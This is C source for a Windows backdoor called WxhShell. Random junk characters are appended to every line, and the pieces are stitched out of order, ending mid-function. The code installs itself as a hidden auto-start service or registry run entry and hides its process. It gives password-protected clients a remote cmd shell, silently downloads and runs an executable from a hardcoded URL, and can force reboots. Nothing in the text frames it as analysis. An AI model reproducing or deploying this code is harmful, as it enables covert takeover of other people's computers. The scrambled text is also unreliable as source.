    if(Boot(SHUTDOWN)) ; OsN^   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hi Yx(hY  
    else { %}/)_RzQ  
    closesocket(wsh); n2E2V<#   
    ExitThread(0); hf[K\aAk  
    } S`::f(e  
    break; 7j+.H/2  
    } t%)L8%Jr  
  // 获取shell vzL>ZBe Z  
  case 's': { 4[?Q*f!  
    CmdShell(wsh); j[9 B,C4  
    closesocket(wsh); 99 [ "I:  
    ExitThread(0); ;$Y?j8g  
    break; 04s N 4C  
  } f5N~K>  
  // 退出 f: R h9  
  case 'x': { NoMC* ",b>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2}NfR8 N  
    CloseIt(wsh); M`(xAVl  
    break; sEoS|"  
    } -Jhf]  
  // 离开 *)`:Nm~y  
  case 'q': { {1o=/&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }V 1sY^C  
    closesocket(wsh); 0t) IW D  
    WSACleanup(); fqcyCu7Ep  
    exit(1); -I -wdyDr  
    break; -$7Jc=:>  
        } /<mc~S7  
  } \sk,3b-&'  
  } [-l^,,E  
yH Cc@`1.  
  // 提示信息 e"v Eh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eu# ||  
} m'pihFR:f  
  } '@$?A>.cj  
\R~Lf+q  
  return; dgO2fI  
} >@t]M`#&h  
I0Vm^\8  
// shell模块句柄 :7R\"@V4  
int CmdShell(SOCKET sock) sIy  LW  
{ rJAY7/u  
STARTUPINFO si; "PX~Yc  
ZeroMemory(&si,sizeof(si)); |PWLFiT(>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qwb@3{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sx22|j`)V  
PROCESS_INFORMATION ProcessInfo; 6)W9/V-W  
char cmdline[]="cmd"; o*<(,I%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {vaq,2_w  
  return 0; X3nwA#If1  
} !l'Zar  
2-$R@ SVy  
// 自身启动模式 0Vg8o @  
int StartFromService(void) $lO\eQGxB  
{ z.QW*rW9  
typedef struct }%VHBkuc  
{ 1Ao"DxZHy7  
  DWORD ExitStatus; 9<R:)Df  
  DWORD PebBaseAddress; o:?IT/>  
  DWORD AffinityMask; 7QQnvoP  
  DWORD BasePriority; R8ZW1  
  ULONG UniqueProcessId; QPBf++|  
  ULONG InheritedFromUniqueProcessId; +'[iyHBJ  
}   PROCESS_BASIC_INFORMATION; 3m x7[Q  
m^TkFt<BM  
PROCNTQSIP NtQueryInformationProcess; 5 bgx;z9  
l!`m}$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c0tv!PSw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uz%rWN`{  
&)rmv  
  HANDLE             hProcess; b+{yF  
  PROCESS_BASIC_INFORMATION pbi; c^m}ep\F5L  
/ZAEvdO*P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); " I:j a7  
  if(NULL == hInst ) return 0; '06[@Cw  
b6#V0bDXHD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C<{k[!N%zm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &ed.%:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~x824xW  
ll6~8PN  
  if (!NtQueryInformationProcess) return 0; (Y-7B  
k+_pj k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uHy^ Bq  
  if(!hProcess) return 0; !W8$-iq  
dD#A.C,Rz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S]k<Ixvf  
ETYw  
  CloseHandle(hProcess); d kPfdK}G  
*`|F?wF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XWK A0  
if(hProcess==NULL) return 0; 1 ,Y-_e)  
n`}vcVL;  
HMODULE hMod; kGCd!$fsk  
char procName[255]; ujHqw Rh  
unsigned long cbNeeded; ZU/6#pb  
e5MX5 T^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i/~A7\:8%  
x#'# ~EO-G  
  CloseHandle(hProcess);  /I="+  
M,NYF`;a  
if(strstr(procName,"services")) return 1; // 以服务启动 ZE4~rq/W  
mlX^5h'  
  return 0; // 注册表启动 Fz-Bd*uS  
} -(~CZ  
-$t#AYKz  
// 主模块 NCBS=L:  
int StartWxhshell(LPSTR lpCmdLine) `ez_ {  
{ kAU[lPt*R  
  SOCKET wsl; U^[<G6<9]  
BOOL val=TRUE; 7?e*b(vd  
  int port=0; q0$}MB6  
  struct sockaddr_in door; e;!si>N  
|6$6Za]:  
  if(wscfg.ws_autoins) Install(); {i3]3V"Xp  
LY/K ,6^a  
port=atoi(lpCmdLine); /z`LB  
zuXJf+]  
if(port<=0) port=wscfg.ws_port; UP^{'eh  
}~yhkt5K  
  WSADATA data; G,%R`Xns  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G|v{[>tr  
rD fUTfv|Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y@F@k(lOo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "\Z.YZUa\  
  door.sin_family = AF_INET; *RivZ c9;P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;i>|5tEy  
  door.sin_port = htons(port); *JUP~/Nr  
Ac|IBXGa=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &")ON[|b  
closesocket(wsl); yY[N\*P  
return 1; cd#@"&r  
} `q".P]wtKN  
#1+1q{=Z<  
  if(listen(wsl,2) == INVALID_SOCKET) { DhYQ>Gv8U  
closesocket(wsl); `VwZDU~6  
return 1; i_Ab0vye  
} 7vubkj&  
  Wxhshell(wsl); K#kU6/  
  WSACleanup(); |-%[Z  
;i@,TU  
return 0; *6?h,Dt L  
GBVw6+(c  
} rgJKXl;@s  
]^$3S  
// 以NT服务方式启动 f9?\Q'v8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jIaAx_  
{ Z~CL|=  
DWORD   status = 0; s,)Z8H  
  DWORD   specificError = 0xfffffff; 9s7sn*aB#5  
*shE-w ;C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ssUWr=mD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -J[*fv@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sFuB[ JJ}  
  serviceStatus.dwWin32ExitCode     = 0; V'K1kYb  
  serviceStatus.dwServiceSpecificExitCode = 0; IZoS2^:yw  
  serviceStatus.dwCheckPoint       = 0; N^jQ\|A<  
  serviceStatus.dwWaitHint       = 0; q ^Un,h64t  
#41~`vq3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IC"bg<L,*  
  if (hServiceStatusHandle==0) return; &Rdg07e;>  
HN]roSt~  
status = GetLastError(); Y92 w L}  
  if (status!=NO_ERROR) 4"U/T 1&  
{ O4dJ> O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q$^oIFb  
    serviceStatus.dwCheckPoint       = 0; Ru9QQaHE  
    serviceStatus.dwWaitHint       = 0; _8P0iC8Zg#  
    serviceStatus.dwWin32ExitCode     = status; aEM2xrhy,  
    serviceStatus.dwServiceSpecificExitCode = specificError; P>j^w#$n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F[R Q6 PW  
    return; Nk*d=vj  
  } $aDAD4mmm  
^{lcj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ii FeO  
  serviceStatus.dwCheckPoint       = 0; PUZH[-:c  
  serviceStatus.dwWaitHint       = 0; NitsUg@<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >Z r f}H  
} +twl`Z3n  
QH7"' u6  
// 处理NT服务事件,比如:启动、停止 eg!s[1[_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WdI9))J2S  
{ yyB;'4Af  
switch(fdwControl) \"Jgs.  
{ G<:_O-cPSv  
case SERVICE_CONTROL_STOP: GCm(3%{V%(  
  serviceStatus.dwWin32ExitCode = 0; 5+Fr/C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H3CG'?{ _  
  serviceStatus.dwCheckPoint   = 0; jwhc;y  
  serviceStatus.dwWaitHint     = 0; dxfF.\BFDn  
  { /vO8s??  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =z#6mSx|W  
  } i[_B~/_  
  return; '-c *S]:r  
case SERVICE_CONTROL_PAUSE: /6",#B}%b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |7ct2o~un  
  break; imw,Nb  
case SERVICE_CONTROL_CONTINUE: "%]<Co<S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?"04u*u3  
  break; )}w2'(!X8  
case SERVICE_CONTROL_INTERROGATE: PgHe;^?j  
  break; 5argw+2s4$  
}; tZ\e:AAi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m'HAt~  
} |z1er"zR)  
;\a?xtIy  
// 标准应用程序主函数 S7a05NO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >V1vw7Pa  
{ +guCTGD:  
3ScOJo  
// 获取操作系统版本 ,6VY S\a3  
OsIsNt=GetOsVer(); iF,%^95=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TP3KT)  
BV;dV6`z  
  // 从命令行安装 4Ys\<\~d  
  if(strpbrk(lpCmdLine,"iI")) Install(); tBU n KPT  
%vn"tp  
  // 下载执行文件 KEfN!6  
if(wscfg.ws_downexe) { Uzh#z eZ`<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z;/QB6|%  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y]!WPJ`f2  
} =1#obB  
Aq 5CF`e{  
if(!OsIsNt) { D *=.;Rq  
// 如果时win9x,隐藏进程并且设置为注册表启动 yK+1C68A  
HideProc(); eYtP396C|  
StartWxhshell(lpCmdLine); <cm(QNdcC  
}  GY`mF1b  
else /tdRUX  
  if(StartFromService()) (}B3df  
  // 以服务方式启动 E)>.2{]C>  
  StartServiceCtrlDispatcher(DispatchTable); okm }%#|  
else O}s Mqh  
  // 普通方式启动 P*6h $T  
  StartWxhshell(lpCmdLine); i8w/a  
~cv322N   
return 0; L`3;9rO  
} ^iA_<@[`X[  
R1 C}S  
(jmF7XfU  
>;Ag7Ex  
=========================================== \^oI3K0`  
<#nt?Xn  
s,CN<`/>x  
x`:c0y9uG  
PQj'D <G  
 LA]UIM@  
" i2P:I A|@  
TI/5'Oke$  
#include <stdio.h> ~Z`Cu~7  
#include <string.h> +7 \"^D  
#include <windows.h>  L}=DC =E  
#include <winsock2.h> I|x? K>  
#include <winsvc.h> $sxRRe m{?  
#include <urlmon.h> f/95}6M  
&M>o  
#pragma comment (lib, "Ws2_32.lib") vc%=V^)N7U  
#pragma comment (lib, "urlmon.lib") gp+aUK~o  
b^:frjaE3  
#define MAX_USER   100 // 最大客户端连接数 ^]5^p9Jt"e  
#define BUF_SOCK   200 // sock buffer k3+LP7|*  
#define KEY_BUFF   255 // 输入 buffer 0gRm LX  
3ncN) E/@  
#define REBOOT     0   // 重启 ;e)`C v  
#define SHUTDOWN   1   // 关机 ;RK;kdZ  
&j}:8Tst  
#define DEF_PORT   5000 // 监听端口 BaVooN~C  
=28ZSo^  
#define REG_LEN     16   // 注册表键长度 9^+E$V1@  
#define SVC_LEN     80   // NT服务名长度 K+\2cf?bU  
dL]wu! wE  
// 从dll定义API eC3 ~|G_O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'iWDYZ?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b+`qGJrej  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yGY:EvH^?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V]Rt[l]  
Z'UhJuD5  
// wxhshell配置信息 :al ,zxs  
struct WSCFG { (u4'*[o\t  
  int ws_port;         // 监听端口 -}1TT@  
  char ws_passstr[REG_LEN]; // 口令 MWv(/_b  
  int ws_autoins;       // 安装标记, 1=yes 0=no dY{qdQQ}  
  char ws_regname[REG_LEN]; // 注册表键名 8 =oUE$9  
  char ws_svcname[REG_LEN]; // 服务名 F'-,Ksn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qizQt]l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mt4*`CxtH;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k:F{U^!p|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s<+;5, Q|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =O/v]B8"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *C);IdhK%y  
Tb:6IC7="  
}; ~ o=kW2Y  
7,s5Gd-  
// default Wxhshell configuration LAFxeo  
struct WSCFG wscfg={DEF_PORT, -^Qm_lN  
    "xuhuanlingzhe", &+0?Xip{Z  
    1, 8<x& Xd  
    "Wxhshell", O\SH;y,N  
    "Wxhshell", m3~_uc/+D  
            "WxhShell Service", O"X:3srJ`  
    "Wrsky Windows CmdShell Service", M._;3_)%/  
    "Please Input Your Password: ", fK _uuw4  
  1, '#C5m#v  
  "http://www.wrsky.com/wxhshell.exe", ce [ Maw  
  "Wxhshell.exe" |xF!3GGms  
    }; v\@pZw=x  
Jj/}GVNc7  
// 消息定义模块 y=0)vi{]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d}y")q|F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kl1/(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;|`< B7xf  
char *msg_ws_ext="\n\rExit."; } eF r,bJ  
char *msg_ws_end="\n\rQuit."; u#y#(1 =  
char *msg_ws_boot="\n\rReboot..."; ,D'm#Fti  
char *msg_ws_poff="\n\rShutdown..."; :uJHFF xg  
char *msg_ws_down="\n\rSave to "; 9}_'  
0(>3L:  
char *msg_ws_err="\n\rErr!"; )HcLpoEi  
char *msg_ws_ok="\n\rOK!"; FTr'I82m(  
 `-JVz{z  
char ExeFile[MAX_PATH]; jgiS/oW  
int nUser = 0; \a4X},h\  
HANDLE handles[MAX_USER]; $;&l{=e2)  
int OsIsNt; D|amKW7  
+cbF$,M4  
SERVICE_STATUS       serviceStatus; .C.b5x!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _K&Hiz/'  
.4ZOm'ko{  
// 函数声明 )~Gn7  
int Install(void); k }{o: N  
int Uninstall(void); .Cf!5[0E  
int DownloadFile(char *sURL, SOCKET wsh); PC HKH  
int Boot(int flag); JVGTmS[3  
void HideProc(void); `8r$b/6  
int GetOsVer(void); FJ^\K+;  
int Wxhshell(SOCKET wsl); +f%"O?  
void TalkWithClient(void *cs); lMH~J8U3  
int CmdShell(SOCKET sock); *$5p,m6G  
int StartFromService(void); /+*N.D'`t,  
int StartWxhshell(LPSTR lpCmdLine); r\cY R}v  
1]9w9! j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eY-h<K)y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R={#V8D~  
6$0<&')Yb  
// 数据结构和表定义 OwEu S#-  
SERVICE_TABLE_ENTRY DispatchTable[] = tJ7F.}\;C  
{ PD^G$LT  
{wscfg.ws_svcname, NTServiceMain}, Y9gw ('\w  
{NULL, NULL} jABFdNjri  
}; 4AKr.a0q  
=j{tFxJ  
// 自我安装 4l{$dtKbI  
int Install(void) 93Zij<bH?e  
{ Mna yiJl  
  char svExeFile[MAX_PATH]; c%WO#}r|  
  HKEY key; xXc>YTK'  
  strcpy(svExeFile,ExeFile); ?68~g<d,  
m"-kkH{I  
// 如果是win9x系统,修改注册表设为自启动 c1r+?q$f  
if(!OsIsNt) { m)LI| v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jO/cdLKX(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^_i)XdPU  
  RegCloseKey(key); b;{"@b,Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zk/ejhy0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s7HKgj  
  RegCloseKey(key); C/QmtT~`e  
  return 0; t|V<K^  
    } Bz <I7h  
  } =36fS/Gb  
} mj&OZ+  
else { tGgDS)  
SO.u0!  
// 如果是NT以上系统,安装为系统服务 j RcE241  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kG{};Vm  
if (schSCManager!=0) Y9|!= T%  
{ 4'=Q:o*w`  
  SC_HANDLE schService = CreateService gS'7:UH,  
  ( >~Xe` }'  
  schSCManager, Yku6\/^  
  wscfg.ws_svcname, 6PYm?i=p?  
  wscfg.ws_svcdisp, 0j;ZPqEf3  
  SERVICE_ALL_ACCESS, (# mvDz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E N%{ $  
  SERVICE_AUTO_START, ErJ/h?+  
  SERVICE_ERROR_NORMAL, #g0_8>t  
  svExeFile, N mXRA(m  
  NULL, &A*E)T#>#  
  NULL, h=,h Yz?]  
  NULL, :o ~'\:/  
  NULL, 7K "1^  
  NULL >{q+MWK  
  ); bS2g4]$'po  
  if (schService!=0) {lH'T1^m  
  { AT+ l%%   
  CloseServiceHandle(schService); "?F[]8F.b  
  CloseServiceHandle(schSCManager); 3cgq'ob  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uS,?oS  
  strcat(svExeFile,wscfg.ws_svcname); 4r `I)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <8;~4"'a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?d3FR!  
  RegCloseKey(key); 1/m$#sz  
  return 0; Xz^k.4 Y{4  
    } iN. GC^l  
  } qD4s?j-9  
  CloseServiceHandle(schSCManager); ~?Vod|>  
} E0Q6Ryn  
} auc:|?H~1n  
['Lo8 [  
return 1; &Z[+V)6,,  
} #h^nvRmON  
(3mL!1\  
// 自我卸载 p<(a);<L  
int Uninstall(void) zn 0y`9!n?  
{ <Vk}U   
  HKEY key; _AFje  
= g &  
if(!OsIsNt) { t6\H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %hN>o)  
  RegDeleteValue(key,wscfg.ws_regname); km C0.\  
  RegCloseKey(key); ;l _b.z0^6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6WQN !H8+^  
  RegDeleteValue(key,wscfg.ws_regname); =oIt.`rf  
  RegCloseKey(key); ?g{[U0)  
  return 0; \Xmp lG:  
  } k kAg17 ^  
} {q`8+$Z;  
} (J%4}Dm  
else { ] 1pIIX}  
'DVn /3?X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G-2~$ u  
if (schSCManager!=0) q[VQ?b~9  
{ l"E{ ?4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $)"T9 $>$  
  if (schService!=0) p@% Pdx  
  { $3l#eKZA  
  if(DeleteService(schService)!=0) { .z_nW1id  
  CloseServiceHandle(schService); NZv8#  
  CloseServiceHandle(schSCManager); |v%$Q/zp&  
  return 0; ;"0bVs`.^e  
  } *X$qgSW  
  CloseServiceHandle(schService); k^8;3#xG  
  } C_/eNu\I  
  CloseServiceHandle(schSCManager); r<1W.xd":  
} #*.4Jv<R  
} +58^{_k+%  
FS&QF@dtgf  
return 1; 1aO(+](;  
} MbCz*oW  
*Vq'%b9  
// 从指定url下载文件 ]Ss63Vd  
int DownloadFile(char *sURL, SOCKET wsh) g2TK(S|#  
{ r3U7`P   
  HRESULT hr; Jj [3rt?8  
char seps[]= "/"; Mn/  
char *token; gizY4~ j  
char *file; 1}|y^oB\-  
char myURL[MAX_PATH]; 4 qsct@K,  
char myFILE[MAX_PATH]; r9u'+$vmF  
5JVBDA^#om  
strcpy(myURL,sURL); guYP|  
  token=strtok(myURL,seps); 75^*4[  
  while(token!=NULL) Gdb0e]Vt+  
  { 5)S;R,  
    file=token; A\rY~$Vr  
  token=strtok(NULL,seps); #aC&!Rei{  
  } iUh7eR9  
D9NRM;v  
GetCurrentDirectory(MAX_PATH,myFILE);  +qj Z;5(  
strcat(myFILE, "\\"); vb0Ca+}}  
strcat(myFILE, file); nRqP_*]  
  send(wsh,myFILE,strlen(myFILE),0); ufR>*)_+  
send(wsh,"...",3,0); D[@- `F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U&B(uk(2  
  if(hr==S_OK) P;25 F  
return 0; hl**G4z9q  
else k7*-v/ *S  
return 1; B^dMYFelJ  
DL~! ^fx  
}  lY`WEu  
"~=}&  
// 系统电源模块 2BOH8Mp9  
int Boot(int flag) gsQn@(;  
{ >BO!jv!a  
  HANDLE hToken; cp8w _TPU  
  TOKEN_PRIVILEGES tkp; V4"o.G3\o  
st"@kHQ3  
  if(OsIsNt) { :%mls Nw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7YTO{E6]d\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TTj] _R{n  
    tkp.PrivilegeCount = 1; ._x"b5C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; : c iwh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >^9j>< Z  
if(flag==REBOOT) { 2xuU[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 79)iv+nf\l  
  return 0; %`G}/"  
} u];\v%b  
else { r\b$/:y<e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -6F\=  
  return 0; u{W I 4n?  
} :X9;KoJl-V  
  } GPs4:CIgG  
  else { CWp>8@v  
if(flag==REBOOT) { [C 7X#|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &JLKHwi/  
  return 0; NODE`VFu  
} 8j&1qJx)  
else { O>X!78]#K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) js)E:+{A,  
  return 0; !JDyv\i}  
} I %1P:-  
} ;2BPEo>z9  
P&o+ut:  
return 1; '#lEUlB  
} t2.]v><  
{|zQ .s A  
// win9x进程隐藏模块 aFrZ ;_  
void HideProc(void) 0_>1CW+X  
{ pDr/8HEh  
kbz+6LcV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J{uqbrJICr  
  if ( hKernel != NULL ) "el3mloR 8  
  { =1B;<aZH!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v%c--cO(S4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Z;kMrU  
    FreeLibrary(hKernel); "NSY=)fV  
  } p_g8d&]V  
P)=$0kR3  
return; B$97"$#u  
} i"!j:YEo  
LGRhCOP:  
// 获取操作系统版本 g fv?#mp  
int GetOsVer(void) :NwFJc  
{ XHuHbriI  
  OSVERSIONINFO winfo; z*^vdi0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y5IQhV.  
  GetVersionEx(&winfo); Y-DHW/Z~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $*0XWrE  
  return 1; kafj?F  
  else c&L|e$C]  
  return 0; ~|wh/]{b9  
} [QT H~  
UUgc>   
// 客户端句柄模块 ;2eZa|M*q  
int Wxhshell(SOCKET wsl) JHVesX  
{ PsS8b  
  SOCKET wsh; zZCssn;[  
  struct sockaddr_in client; ? O e,  
  DWORD myID; t+WUz#i"  
[*=UH* :'N  
  while(nUser<MAX_USER) h4M>k{  
{ R? ,XSJ  
  int nSize=sizeof(client); ;&RHc#1F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +JFE\>O  
  if(wsh==INVALID_SOCKET) return 1; $xj>j  
euh rEjwkH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hKK"D:?PRs  
if(handles[nUser]==0) >R6>*|~S  
  closesocket(wsh); uchz<z1  
else .sPa${  
  nUser++; Ba|76OBRJ  
  } $k3l[@;hE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 71yf+xL  
`>}e 5  
  return 0; Z o5.Yse  
} lLeN`{?  
5l(NX  
// 关闭 socket :,dO7dJi  
void CloseIt(SOCKET wsh) (=i+{ 3`|  
{ 8 =<&9TmE  
closesocket(wsh); ji|tc9#6  
nUser--; :E9@9>3S  
ExitThread(0); J{5&L &4  
} ?`D/#P  
wS1zd?  
// 客户端请求句柄 !"x&tF  
void TalkWithClient(void *cs) -r"h [UV)  
{ zINziAp{  
Wd_KZ}lX  
  SOCKET wsh=(SOCKET)cs; &ffd#2f`@  
  char pwd[SVC_LEN]; vb Mv8Nk  
  char cmd[KEY_BUFF]; ;v1&Rs  
char chr[1]; |\~!o N  
int i,j; y\"Kur*O  
C_DXg-a2lu  
  while (nUser < MAX_USER) { d$`NApr  
U#!f^@&AB  
if(wscfg.ws_passstr) { GE[J`?E]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o=VDO,eS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !,< )y}L^)  
  //ZeroMemory(pwd,KEY_BUFF); wtw  
      i=0; Ui`Z>,0sFi  
  while(i<SVC_LEN) { x7]Yn'^'  
@eGJ_ J  
  // 设置超时 Xy(o0/7F9  
  fd_set FdRead; "R/Xv+;  
  struct timeval TimeOut; -?$Hr\  
  FD_ZERO(&FdRead); nZ 0rxx[V?  
  FD_SET(wsh,&FdRead); 24 i00s|#  
  TimeOut.tv_sec=8; }vbs6u  
  TimeOut.tv_usec=0; $fwv'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gOA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T~rPpi&  
}qf)L .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TYQ7jt0=.-  
  pwd=chr[0]; 9_z u*  
  if(chr[0]==0xd || chr[0]==0xa) { ,5_Hen=PI  
  pwd=0; Q~A25Jf .  
  break; 2=TQU33#  
  } Uva b*9vX  
  i++; (*Jcx:rH  
    } .(0'l@#fT  
aAr gKM f  
  // 如果是非法用户,关闭 socket v/E_A3Ay&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;9r`P_r  
} <"g ^V  
;oQ*gd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <d GGH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1h.N &;vy  
L)cy&"L|  
while(1) { 6mnj!p]3  
z;_fO>u:  
  ZeroMemory(cmd,KEY_BUFF); D,rF?t>=S  
w34&m  
      // 自动支持客户端 telnet标准   `H5n _km  
  j=0; dcgz<m  
  while(j<KEY_BUFF) { >+w(%;i;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,3t('SE  
  cmd[j]=chr[0]; k#I4^  
  if(chr[0]==0xa || chr[0]==0xd) { S&A, Q'  
  cmd[j]=0; Xq9n-;%zL  
  break; 4{h?!Z*  
  } <303PPX^6  
  j++; d+_wN2  
    } ,{ C   
"-'w,g  
  // 下载文件 LP8Stj JP  
  if(strstr(cmd,"http://")) { #[^?f[ 9r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y7yh0r_  
  if(DownloadFile(cmd,wsh)) 4Lo8Eue  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {jX h/`  
  else gF@51K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5h9`lS2  
  } ;hz"`{(JY  
  else { ]OE{qXr{  
0jsU^m<g  
